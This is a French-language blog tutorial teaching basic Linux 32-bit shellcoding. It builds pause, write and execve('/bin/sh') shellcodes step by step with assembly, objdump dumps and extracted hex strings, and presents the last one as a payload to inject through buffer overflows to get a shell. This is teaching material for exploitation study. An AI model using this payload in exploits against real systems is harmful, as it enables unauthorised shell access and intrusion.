Shellcoding – The Basic Linux 32 bits

Nous avons déjà parlé de cracking, d’exploitation buffers overflows et même récemment de ROP ! Ainsi vous commencez donc à etre un peu a l’aise avec l’assembleur et les registres. Il est donc temps d’écrire vos propres shellcodes !

Les appels système

Un appel système, aussi appelé Syscall est une fonction basique fournie par votre OS dont les programmes se servent. Par exemple Write pour ecrire des informations dans un shell, Execve pour executer un programme …
Ils sont très nombreux et dépendent de votre OS et de son architecture.
Chacun de ces syscalls est représenté par une adresse. Pour retrouver ces adresses il vous suffit d’aller regarder dans le fichier /usr/include/asm/unistd_32.h 
Les fonctions et leurs adresses 
Maintenant que nous avons l’adresse de notre Syscall il nous reste juste à remplir les registres.
Pour cela je vous invite a consulter cette excellente page sur shell-storm.

Un premier ShellCode

Maintenant que nous avons vu un peu les bases il est temps d’écrire notre premier shellcode.
Pour cela nous allons faire dans le classique et écrire un shellcode pause.
Tout simplement notre shellcode va appeler l’instruction pause.
Il existe cependant une contrainte qui va faire la différence entre un shellcode et un code assembleur basique. Dans un shellcode il ne doit pas y avoir de NullByte ( /x00 ). On va donc devoir manipuler nos registres de telle façon que jamais on ne retrouve de NullByte.
 Pour notre shellcode pause nous devons juste mettre l’adresse de la fonction pause dans le registre EAX. Cependant on ne sait pas ce qu’il y a actuellement dans EAX, il va donc falloir maîtriser cette valeur. Rappelez vous pas de NullByte ! Donc pas d’instruction comme mov $0,%eax ! Cela produirait un NullByte .. On va donc utiliser des petits tricks d’assembleur pour mettre les registres aux valeurs souhaités. Par exemple pour mettre %eax à 0 on va « xorer » %eax par lui même, c’est une opération de logique 1^1 = 0.
Ainsi notre shellcode pause ressemble à ceci :
xor %eax,%eax
mov $29,%al
int $0x80

L’instruction int $0x80 est la dernière du shellcode, elle nous permet d’exécuter le Syscall que nous venons de préparer.

Une fois que notre shellcode est prêt on le compile :

➜  as -o pause.o pause.s
➜  ld -o pause pause.o

Vous pouvez donc maintenant exécuter votre shellcode !
Grace à objdump on va pouvoir récuperer le code hexadécimal correspondant à notre shellcode :

 objdump -d pause

pause:     format de fichier elf64-x86-64


Déassemblage de la section .text:

0000000000400078 <__bss_start-0x200006>:
  400078: 31 c0                 xor    %eax,%eax
  40007a: b0 1d                 mov    $0x1d,%al
  40007c: cd 80                 int    $0x80

<!--__bss_start-0x200006-->

Ainsi notre shellcode est donc :

« \x31\xc0\xb0\x1d\xcd\x80 »
 

Shellcode Write : Version simple.

Maintenant que vous avez compris un peu comment marchaient les shellcodes il faut manipuler les appels systèmes. En manipulant ces derniers vous comprendrez mieux comment marche votre ordinateur !
Par exemple je vais écrire un shellcode qui affichera mon prénom.
Pour cela il me faut l’adresse de la fonction write qui est : 4
La sortie standard Unix : 1 ( l’endroit ou sera écrit mon prénom )
La taille de mon prénom : 4 + 1 ( remi + retour a la ligne )
Après une rapide étude de la fonction write via le lien fournit plus haut voici ce qu’il va falloir placer dans les registres :
%eax => Syscall => 4
%ebx => Sortie => 1
%ecx => Texte a écrire => « remi »+ CR
%edx  => Longueur du texte => 5 ( 4 + CR )
On rencontre déjà un petit problème ..
Le texte final fera plus de 4 octet. Or on est sur une architecture 32 bits ( 4 octet = 32 bits )
Il va donc falloir trouver un moyen d’écrire plus que possible !
On va pour cela se servir de la stack ! Avec les règles qui régissent son existence à savoir le système LIFO ( Last In First Out ). Autrement dit il faut écrire à l’envers pour afficher à l’endroit !
xor %eax,%eax    |
xor %ebx,%ebx    | Mise a 0 
xor %ecx,%ecx    | Des Registres
xor %edx,%edx    |

mov $0x4,%al     | Adresse de la fonction
mov $0x1,%bl     | Sortie utilisée
push $0x0a       | Carriage return
push $0x696d6572 | imer
movl %esp,%ecx   | On envoie le pointeur stack (ESP) dans %ecx ( registre qui contient le texte ) 
mov $0x5,%dl     | La taille du mot 
int $0x80        | Execution du shellcode 

xor %ebx,%ebx    | Mise a 0 du registre
mov $0x1,%al     | Syscall Exit
int $0x80        | Sortie propre du shellcode</pre>
Encore une fois je compile ce shellcode et voici le résultat :
<pre>➜  Write  ./write
remi
➜  Write  objdump -d write

write:     format de fichier elf32-i386


Déassemblage de la section .text:

08048054 &lt;__bss_start-0x101f&gt;:
 8048054: 31 c0                 xor    %eax,%eax
 8048056: 31 db                 xor    %ebx,%ebx
 8048058: 31 c9                 xor    %ecx,%ecx
 804805a: 31 d2                 xor    %edx,%edx
 804805c: b0 04                 mov    $0x4,%al
 804805e: b3 01                 mov    $0x1,%bl
 8048060: 6a 0a                 push   $0xa
 8048062: 68 72 65 6d 69        push   $0x696d6572
 8048067: 89 e1                 mov    %esp,%ecx
 8048069: b2 05                 mov    $0x5,%dl
 804806b: cd 80                 int    $0x80
 804806d: 31 db                 xor    %ebx,%ebx
 804806f: b0 01                 mov    $0x1,%al
 8048071: cd 80                 int    $0x80
<!--__bss_start-0x101f-->

Si vous voulez écrire des mots plus long, il va falloir ruser ! En utilisant par exemple des opérations de type sub pour manipuler les valeurs des registres sans avoir de null bytes !

Un classique : Execve

Un autre shellcode très répandu est celui qui consiste à exécuter un programme et plus particulièrement /bin/sh. Imaginez dans le cadre de l’exploitation d’un buffer overflow on pourrais obtenir un shell depuis l’exécution de notre exploit !
Encore une fois on va chercher dans le tableau la valeur à entrer dans les registres

eax => 11 ( b  en hexa  )
ebx => adresse du programme (/bin/sh)

Ce qui va nous donner tout simplement  :

➜  Execve  cat execve.s 
xor %eax,%eax
xor %ebx,%ebx
push %eax
mov $0xb,%al
push $0x68732f6e
push $0x69622f2f
mov %esp,%ebx
int $0x80
➜  Execve  objdump -d execve

execve:     format de fichier elf32-i386


Déassemblage de la section .text:

08048054 &lt;__bss_start-0x1015&gt;:
 8048054: 31 c0                 xor    %eax,%eax
 8048056: 31 db                 xor    %ebx,%ebx
 8048058: 50                    push   %eax
 8048059: b0 0b                 mov    $0xb,%al
 804805b: 68 6e 2f 73 68        push   $0x68732f6e
 8048060: 68 2f 2f 62 69        push   $0x69622f2f
 8048065: 89 e3                 mov    %esp,%ebx
 8048067: cd 80                 int    $0x80
<!--__bss_start-0x1015-->

Maintenant que nous avons notre shellcode il ne nous reste plus qu’a avoir la valeur hexa des instructions avec objdump -d <shellcode>.
C’est ces valeurs hexa qui seront injecté dans les failles. Heureusement il existe des scripts pour le faire à notre place :

➜  Execve  objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"xformat \x31\xc0\x31\xdb\x50\xb0\x0b\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

Voila donc pour cet article consacré aux bases du shellcoding ! Dans la suite nous verrons d’autres shellcodes comme par exemple les shellcodes polymorphiques !

N’hésitez pas à commenter/partager !

Un commentaire on "Shellcoding – The Basic Linux 32 bits"

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *